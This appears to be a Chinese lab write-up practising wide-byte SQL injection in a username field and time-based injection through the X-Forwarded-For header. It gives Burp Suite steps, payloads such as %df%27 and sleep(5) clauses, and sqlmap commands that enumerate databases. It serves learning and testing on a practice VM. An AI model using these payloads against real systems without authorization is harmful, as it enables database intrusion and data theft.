练习12
Abstract: 练习宽字节注入和请求头 IP 注入
Table of Contents
宽字节注入
打开 burpsuite 抓取数据包

在 username 后面加上 %df%27,请求页面,发现没有变化,主要是因为 POST 传输不需要 URL 解码,点击 Hex,找到 username 的位置,把 1 后面的字符改成 df 和 27

返回查看数据,把多余的字符删除。

点击 Go,查看 Response,发现页面变化了,即找到了注入点。

尝试使用时间注入,修改 Request 如下,

点击 Go 发现页面,没有延迟。很可能是 .ova 文件导入过来,数据库并没有数据造成的,在网页上注册一个用户,再次运行,可以发现响应延迟了 1s 左右。

删除多余的 *,再在我们想要注入的地方加入 *,右击保存文件。

接下来,使用 sqlmap 测试。
1 | sqlmap -r Desktop\wideType.txt # wideType.txt 存放的是HTTP响应的数据 |

可以发现漏洞,但是最新版的 sqlmap 在脱裤时,会出现问题。
1 | sqlmap -r "C:\Users\han\Desktop\wideType.txt" --dbs |

请求头 IP 注入
数据库中更新用户 IP
1 | # 更新 IP |
想要注入,首先得进行前 ' 的闭合和注释掉后 '
1 | UPDATE USER SET last_loginip='8.8.8.8' /*此处插入想要执行的语句*/ #' WHERE `username`='zhang'; |
1 | UPDATE USER SET last_loginip='8.8.8.8' and WHERE id=1 and sleep(5) #' WHERE `username`='zhang'; |
使用 Modify Headers 添加 X-Forwarded-For 设置为 8.8.8.8',先注册一个用户。用户名 123,密码 123。

用 burpsuite 抓取数据包

在 X-Forwarded-For 后面补充 where 1=1 and sleep(5),点击 Go

等待 5s 后,页面有响应。由此可找到注入点,把 where id=1 and sleep(5) 改成 where id = 1 * ,删除请求其他 * 号,保存到文件里。开始用 sqlmap 执行 payload。
把注入点修改为 where 1=1 or sleep(5) 页面没有延迟,原因是 1=1 or sleep(5) 短路原理,故 sleep(5) 压根就没有执行。

使用 where 1=1 and sleep(5) ,我们可以看出来延迟了将近 15s。关于 1=1 or 条件 和 1=2 and 条件 的短路原理,在前几篇文章写过,但真正在实战中确实还是容易忘掉。

1 | sqlmap -r "C:\Users\han\Desktop\ip.txt" |
1 | (custom) HEADER parameter 'X-Forwarded-For #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable |

可以使用 --technique T 指定时间注入,缩短时间。
1 | sqlmap -r "C:\Users\han\Desktop\ip.txt" --technique T --dbs |

问题与总结
关于 SQLmap 自定义注入点的思考:
- 先通过
burpsuite抓取数据包,尝试找到注入点。 - 找到注入点后,分析使用布尔盲注还是时间盲注,在
burpsuite中的Repeater模块中通过在请求内容中增加SQL语句尝试。 - 在注入点中,把添加
SQL语句中能够做修改的地方改写成*。- 在
老司机例子中,定位到username存在宽字节注入,后面写上or if((select 1 and 1=1), sleep(3), 1)发现响应延迟,那payload该放在那呢?首先能够确定的是,必然在select 1 and 1=1这句话里面,if关键字第一个表达式必须是布尔型,所以直接在1=1加*号即可。 - 在
留言板例子中,通过对SQL语句的猜想,可以知道要在X-Forwarded-For: 8.8.8.8'后面加上where 1=1 and sleep(5) #在本例中,可以修改为where 1=1*即可。
- 在